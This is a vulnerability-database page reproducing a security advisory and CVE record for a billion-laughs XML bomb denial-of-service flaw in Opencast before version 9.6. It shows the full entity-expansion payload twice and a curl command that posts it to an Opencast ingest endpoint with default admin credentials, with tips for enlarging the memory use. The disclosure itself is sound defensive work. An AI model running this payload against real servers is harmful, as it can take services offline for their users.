Vulnerability-Lookup

GHSA-9GWX-9CWP-5C2M

Vulnerability from github – Published: 2021-06-17 20:11 – Updated: 2021-10-21 13:40

Summary

Billion laughs attack (XML bomb)

Details

Impact

Opencast is vulnerable to the Billion laughs attack which allows an attacker to easily execute a (seemingly permanent) denial of service attack, essentially taking down Opencast using a single HTTP request.

Consider an XML file (createMediaPackage.xml) like this:

<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<!DOCTYPE lolz [
 <!ENTITY lol "Lorem Ipsum is simply dummy text of the printing and typesetting industry. Lorem Ipsum has been the industry's standard dummy text ever since the 1500s, when an unknown printer took a galley of type and scrambled it to make a type specimen book. It has survived not only five centuries, but also the leap into electronic typesetting, remaining essentially unchanged. It was popularised in the 1960s with the release of Letraset sheets containing Lorem Ipsum passages, and more recently with desktop publishing software like Aldus PageMaker including versions of Lorem Ipsum. ">
 <!ELEMENT title (#PCDATA)>
 <!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
 <!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
 <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
 <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
 <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
]>
<mediapackage xmlns="http://mediapackage.opencastproject.org" id="d162d5b2-b54f-4400-a268-ee6565b0e6e7" start="2020-01-23T23:08:37Z">
  <title>&lol5;</title>
  <media/>
  <metadata/>
  <attachments/>
  <publications/>
</mediapackage>

Throwing this at Opencast will cause Opencast to parse the XML and expand the Lorem Ipsum about 100 000 times, instantly consuming a huge amount of memory:

curl -i -u admin:opencast https://develop.opencast.org/ingestdownload/ingestdownload \
  -F 'mediapackage=<createMediaPackage.xml' \
  -F sourceFlavors="" \
  -F sourceTags="" \
  -F deleteExternal="" \
  -F tagsAndFlavor='' \
  -o out.xml

Additional notes:

You can likely use other endpoints accepting XML (this was just the first one I tried) and depending on how much memory you want to consume, you might want to enlarge the lorem ipsum text.
Opencast's XML parser does limit the expansion to 100 000 times, already limiting the attack. Nevertheless, this can already harm the system.
To exploit this, users need to have ingest privileges, limiting the group of potential attackers

Patches

The problem has been fixed in Opencast 9.6. Older versions of Opencast are not patched sue to the extent of this patch.

Workarounds

There is no known workaround for this issue.

References

Billion laughs attack explained
For technical details, take a look at the patch fixing the issue: https://github.com/opencast/opencast/commit/_________

For more information

If you have any questions or comments about this advisory:

Open an issue in our issue tracker
Email us at security@opencast.org

Severity

8.1 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.opencastproject:opencast-kernel"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "9.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2021-32623"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-776"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2021-06-16T20:07:19Z",
    "nvd_published_at": "2021-06-16T00:15:00Z",
    "severity": "HIGH"
  },
  "details": "### Impact\n\nOpencast is vulnerable to the [Billion laughs attack](https://en.wikipedia.org/wiki/Billion_laughs_attack)  which allows an attacker to easily execute a (seemingly permanent) denial of service attack, essentially taking down Opencast using a single HTTP request.\n\nConsider an XML file (`createMediaPackage.xml`) like this:\n\n```xml\n\u003c?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"yes\"?\u003e\n\u003c!DOCTYPE lolz [\n \u003c!ENTITY lol \"Lorem Ipsum is simply dummy text of the printing and typesetting industry. Lorem Ipsum has been the industry\u0027s standard dummy text ever since the 1500s, when an unknown printer took a galley of type and scrambled it to make a type specimen book. It has survived not only five centuries, but also the leap into electronic typesetting, remaining essentially unchanged. It was popularised in the 1960s with the release of Letraset sheets containing Lorem Ipsum passages, and more recently with desktop publishing software like Aldus PageMaker including versions of Lorem Ipsum. \"\u003e\n \u003c!ELEMENT title (#PCDATA)\u003e\n \u003c!ENTITY lol1 \"\u0026lol;\u0026lol;\u0026lol;\u0026lol;\u0026lol;\u0026lol;\u0026lol;\u0026lol;\"\u003e\n \u003c!ENTITY lol2 \"\u0026lol1;\u0026lol1;\u0026lol1;\u0026lol1;\u0026lol1;\u0026lol1;\u0026lol1;\u0026lol1;\u0026lol1;\u0026lol1;\"\u003e\n \u003c!ENTITY lol3 \"\u0026lol2;\u0026lol2;\u0026lol2;\u0026lol2;\u0026lol2;\u0026lol2;\u0026lol2;\u0026lol2;\u0026lol2;\u0026lol2;\"\u003e\n \u003c!ENTITY lol4 \"\u0026lol3;\u0026lol3;\u0026lol3;\u0026lol3;\u0026lol3;\u0026lol3;\u0026lol3;\u0026lol3;\u0026lol3;\u0026lol3;\"\u003e\n \u003c!ENTITY lol5 \"\u0026lol4;\u0026lol4;\u0026lol4;\u0026lol4;\u0026lol4;\u0026lol4;\u0026lol4;\u0026lol4;\u0026lol4;\u0026lol4;\"\u003e\n]\u003e\n\u003cmediapackage xmlns=\"http://mediapackage.opencastproject.org\" id=\"d162d5b2-b54f-4400-a268-ee6565b0e6e7\" start=\"2020-01-23T23:08:37Z\"\u003e\n  \u003ctitle\u003e\u0026lol5;\u003c/title\u003e\n  \u003cmedia/\u003e\n  \u003cmetadata/\u003e\n  \u003cattachments/\u003e\n  \u003cpublications/\u003e\n\u003c/mediapackage\u003e\n```\n\nThrowing this at Opencast will cause Opencast to parse the XML and expand the Lorem Ipsum about 100\u00a0000 times, instantly consuming a huge amount of memory:\n\n```sh\ncurl -i -u admin:opencast https://develop.opencast.org/ingestdownload/ingestdownload \\\n  -F \u0027mediapackage=\u003ccreateMediaPackage.xml\u0027 \\\n  -F sourceFlavors=\"\" \\\n  -F sourceTags=\"\" \\\n  -F deleteExternal=\"\" \\\n  -F tagsAndFlavor=\u0027\u0027 \\\n  -o out.xml\n```\n\nAdditional notes:\n\n- You can likely use other endpoints accepting XML (this was just the first one I tried) and depending on how much memory you want to consume, you might want to enlarge the lorem ipsum text.\n- Opencast\u0027s XML parser does limit the expansion to 100\u00a0000 times, already limiting the attack. Nevertheless, this can already harm the system. \n- To exploit this, users need to have ingest privileges, limiting the group of potential attackers\n\n### Patches\n\nThe problem has been fixed in Opencast 9.6. Older versions of Opencast are not patched sue to the extent of this patch.\n\n### Workarounds\n\nThere is no known workaround for this issue.\n\n### References\n\n- [Billion laughs attack explained](https://en.wikipedia.org/wiki/Billion_laughs_attack)\n- For technical details, take a look at the patch fixing the issue: https://github.com/opencast/opencast/commit/_________\n\n### For more information\n\nIf you have any questions or comments about this advisory:\n\n- Open an issue in [our issue tracker](https://github.com/opencast/opencast/issues)\n- Email us at [security@opencast.org](mailto:security@opencast.org)",
  "id": "GHSA-9gwx-9cwp-5c2m",
  "modified": "2021-10-21T13:40:37Z",
  "published": "2021-06-17T20:11:35Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/opencast/opencast/security/advisories/GHSA-9gwx-9cwp-5c2m"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-32623"
    },
    {
      "type": "WEB",
      "url": "https://github.com/opencast/opencast/commit/16b0d641713fe31b8518fcf14fc5e4e815d81206"
    },
    {
      "type": "WEB",
      "url": "https://github.com/opencast/opencast/commit/8ae27da5a6f658011a5741b3210e715b0dc6213e"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/opencast/opencast"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Billion laughs attack (XML bomb)"
}

CVE-2021-32623 (GCVE-0-2021-32623)

Vulnerability from cvelistv5 – Published: 2021-06-15 23:45 – Updated: 2024-08-03 23:25

Title

Opencast vulnerable to billion laughs attack (XML bomb)

Summary

Opencast is a free and open source solution for automated video capture and distribution. Versions of Opencast prior to 9.6 are vulnerable to the billion laughs attack, which allows an attacker to easily execute a (seemingly permanent) denial of service attack, essentially taking down Opencast using a single HTTP request. To exploit this, users need to have ingest privileges, limiting the group of potential attackers The problem has been fixed in Opencast 9.6. There is no known workaround for this issue.

Severity

8.1 (High)


                        
                          CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H

CWE

CWE-776 - Improper Restriction of Recursive Entity References in DTDs ('XML Entity Expansion')

Assigner

GitHub_M CNA under the mitre root

CNA scorecard C 72/100 over 7797 records in the last 180 days details

References

2 references

URL	Tags
https://github.com/opencast/opencast/security/adv…	x_refsource_CONFIRM
https://github.com/opencast/opencast/commit/8ae27…	x_refsource_MISC

Impacted products

1 product

Vendor	Product	Version
opencast	opencast	Affected: < 9.6

Show details on NVD website

JSON

To clipboard

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    "cna": {
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      ],
      "descriptions": [
        {
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        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
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      "problemTypes": [
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      "source": {
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        "discovery": "UNKNOWN"
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Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Vulnerability timeline

Sightings and recorded dates, grouped by day · UTC

Order JSON

How durations are calculated

Following the VTEM framework (Black Hat USA 2015), time to patch starts when the vendor or a coordinator was informed, total time to patch at discovery, and disclosure to patch at public disclosure; vendor response time runs from the report to its acknowledgement. Time to exploit and time unpatched start at the earliest discovery or report, falling back to public disclosure. Unpatched time ends at the first recorded patch, or the calculation time when no patch is recorded. Exploitation to patch shows the interval between those two events; a published proof of concept is a public exploit, not exploitation.

Each result shows its source dates. A negative interval means the end event came first; when date-only inputs leave the order open, the result says so. Date-only inputs are approximate. The earliest evidence wins: KEV report dates and sightings are labelled as such. Records describing another vulnerability are listed but never calculated from, and a PoC alone does not establish exploitation. Missing patch evidence does not prove that no patch exists. Filters below change the event list only.

Publication & reservation Sightings KEV catalogs Other timestamps

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The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.

Action not permitted

GHSA-9GWX-9CWP-5C2M

Impact

Patches

Workarounds

References

For more information

CVE-2021-32623 (GCVE-0-2021-32623)

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Nomenclature

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